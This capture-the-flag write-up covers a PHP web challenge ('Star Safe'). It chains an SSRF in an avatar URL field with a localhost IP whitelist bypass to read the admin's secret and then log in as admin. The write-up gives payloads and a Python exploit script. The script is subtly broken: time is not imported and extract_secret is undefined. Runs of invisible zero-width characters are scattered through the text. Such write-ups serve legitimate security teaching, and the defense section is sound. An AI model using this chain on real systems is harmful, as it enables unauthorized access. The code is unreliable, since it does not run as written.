← Back to Writeups
CUSTOMMediumWeb

Звездный сейф (Star Safe)

XESXOR9/10/20263 min read
#web#custom#medium#admin-secret-extraction-via-in#authentication-bypass-using-le#localhost-ip-whitelist-bypass#ssrf-via-avatar-url-field-duri#linux

Звездный сейф (Star Safe)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Admin secret extraction via internal request, Authentication bypass using leaked credentials, Localhost IP whitelist bypass, SSRF via avatar URL field during registration

Summary

Task: PHP web application with avatar upload feature and admin panel. Solution: SSRF via hidden avatar URL field to bypass localhost IP whitelist and extract admin credentials from internal endpoint.

Звездный сейф (Star Safe) — Hackerlab

Description

Космическая палитра обманчива: между оттенками вселенной притаились неприметные лазейки

URL: http://62.173.140.174:16071

A ZIP archive with the application source code was provided.

Analysis

Application Structure

The application is a PHP web application with the following features:

  • User registration (register.php)
  • Authentication (login.php)
  • User profile view (user.php)
  • Avatar upload (avatar.php)
  • Admin panel (admin.php)

Vulnerability 1: SSRF in avatar.php

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

In register.php there is a hidden avatar field that accepts an arbitrary URL:

php
// register.php - saves avatar URL to database
$avatar = $_POST['avatar'] ?? 'default.png';

In avatar.php this URL is fetched from the server:

php
$url = $stmt->fetchColumn();
if (!preg_match('/^https?:\/\//i', $url)) {
    $url = $default_avatar;
}
$data = file_get_contents($url);  // SSRF here!

The check only validates the http:// or https:// prefix — we can specify http://127.0.0.1/....

Vulnerability 2: Localhost Bypass in user.php

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php
$allowed_ips = ['127.0.0.1', '::1'];
if (!in_array($_SERVER['REMOTE_ADDR'], $allowed_ips) && !isset($_SESSION['user_id']) || (...)) {
    die('Access denied');
}

If the request comes from localhost, the session check is skipped! We can get any user's secret.

Vulnerability 3: Admin Credentials in entrypoint.sh

bash
# entrypoint.sh
INSERT INTO users (id, username, password, secret) VALUES 
(1337, 'admin', '$ADMIN_PASSWORD', '$ADMIN_PASSWORD');

The admin (id=1337) has their password equal to their secret! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Registration with SSRF Payload

Register with an avatar URL pointing to the internal endpoint:

avatar=http://127.0.0.1/user.php?id=1337

Step 2: Trigger SSRF

Navigate to avatar.php — the server makes a request to http://127.0.0.1/user.php?id=1337 on its own behalf (with localhost IP).

Step 3: Obtain Admin Password

The response from user.php contains the admin's secret (which equals the password).

Step 4: Authenticate as Admin

Log in with the obtained password:

  • Username: admin
  • Password: <extracted_secret> ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Get the Flag

Navigate to admin.php — get the flag.

Exploit

python
#!/usr/bin/env python3
import requests
import re

BASE_URL = "http://62.173.140.174:16071"

# Step 1: Register with SSRF payload
session = requests.Session()
register_data = {
    "username": "attacker_" + str(int(time.time())),
    "password": "password123",
    "avatar": "http://127.0.0.1/user.php?id=1337"  # SSRF to get admin secret
}
session.post(f"{BASE_URL}/register.php", data=register_data)

# Step 2: Login as our user
session.post(f"{BASE_URL}/login.php", data={
    "username": register_data["username"],
    "password": register_data["password"]
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Trigger SSRF via avatar.php
response = session.get(f"{BASE_URL}/avatar.php")
# Response contains admin's secret (which is their password)

# Extract password from response
admin_password = extract_secret(response.text)

# Step 4: Login as admin
admin_session = requests.Session()
admin_session.post(f"{BASE_URL}/login.php", data={
    "username": "admin",
    "password": admin_password
})

# Step 5: Get flag from admin panel
flag_response = admin_session.get(f"{BASE_URL}/admin.php")
print(flag_response.text)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

  1. URL Validation: Block internal IPs (127.0.0.1, 10.x.x.x, 192.168.x.x)
  2. Domain Whitelist: Allow only specific domains for avatars
  3. Don't Trust IP: Don't use IP-based access control for sensitive data
  4. Separate Secrets: Password should not be stored/used as other data

Lessons

  • SSRF is one of the most dangerous vulnerabilities, allowing network restriction bypass
  • Hidden fields in HTML forms do not provide security
  • IP whitelist for localhost is easily bypassed via SSRF
  • Always check entrypoint.sh and initialization scripts — they often contain credentials ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍